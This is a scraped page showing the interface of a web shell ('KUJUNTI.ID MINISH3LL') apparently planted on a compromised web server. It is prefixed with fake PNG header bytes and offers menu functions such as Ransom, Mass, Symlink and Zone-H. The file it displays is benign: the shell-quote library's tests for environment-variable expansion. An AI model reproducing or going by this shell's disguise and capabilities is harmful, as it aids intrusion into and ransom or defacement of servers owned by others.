\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/infraai.ai/frontend/node_modules/shell-quote/test/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/infraai.ai/frontend/node_modules/shell-quote/test/env.js


'use strict';

var test = require('tape');
var parse = require('../').parse;

test('expand environment variables', function (t) {
	t.same(parse('a $XYZ c', { XYZ: 'b' }), ['a', 'b', 'c']);
	t.same(parse('a${XYZ}c', { XYZ: 'b' }), ['abc']);
	t.same(parse('a${XYZ}c $XYZ', { XYZ: 'b' }), ['abc', 'b']);
	t.same(parse('"-$X-$Y-"', { X: 'a', Y: 'b' }), ['-a-b-']);
	t.same(parse("'-$X-$Y-'", { X: 'a', Y: 'b' }), ['-$X-$Y-']);
	t.same(parse('qrs"$zzz"wxy', { zzz: 'tuv' }), ['qrstuvwxy']);
	t.same(parse("qrs'$zzz'wxy", { zzz: 'tuv' }), ['qrs$zzzwxy']);
	t.same(parse('qrs${zzz}wxy'), ['qrswxy']);
	t.same(parse('qrs$wxy $'), ['qrs', '$']);
	t.same(parse('grep "xy$"'), ['grep', 'xy$']);
	t.same(parse('ab$x', { x: 'c' }), ['abc']);
	t.same(parse('ab\\$x', { x: 'c' }), ['ab$x']);
	t.same(parse('ab${x}def', { x: 'c' }), ['abcdef']);
	t.same(parse('ab\\${x}def', { x: 'c' }), ['ab${x}def']);
	t.same(parse('"ab\\${x}def"', { x: 'c' }), ['ab${x}def']);

	t.end();
});

test('expand environment variables within here-strings', function (t) {
	t.same(parse('a <<< $x', { x: 'Joe' }), ['a', { op: '<<<' }, 'Joe']);
	t.same(parse('a <<< ${x}', { x: 'Joe' }), ['a', { op: '<<<' }, 'Joe']);
	t.same(parse('a <<< "$x"', { x: 'Joe' }), ['a', { op: '<<<' }, 'Joe']);
	t.same(parse('a <<< "${x}"', { x: 'Joe' }), ['a', { op: '<<<' }, 'Joe']);

	t.end();
});

test('environment variables with metacharacters', function (t) {
	t.same(parse('a $XYZ c', { XYZ: '"b"' }), ['a', '"b"', 'c']);
	t.same(parse('a $XYZ c', { XYZ: '$X', X: 5 }), ['a', '$X', 'c']);
	t.same(parse('a"$XYZ"c', { XYZ: "'xyz'" }), ["a'xyz'c"]);

	t.end();
});

test('special shell parameters', function (t) {
	var chars = '*@#?-$!0_'.split('');
	t.plan(chars.length);

	chars.forEach(function (c) {
		var env = {};
		env[c] = 'xxx';
		t.same(parse('a $' + c + ' c', env), ['a', 'xxx', 'c']);
	});
});

© KUJUNTI.ID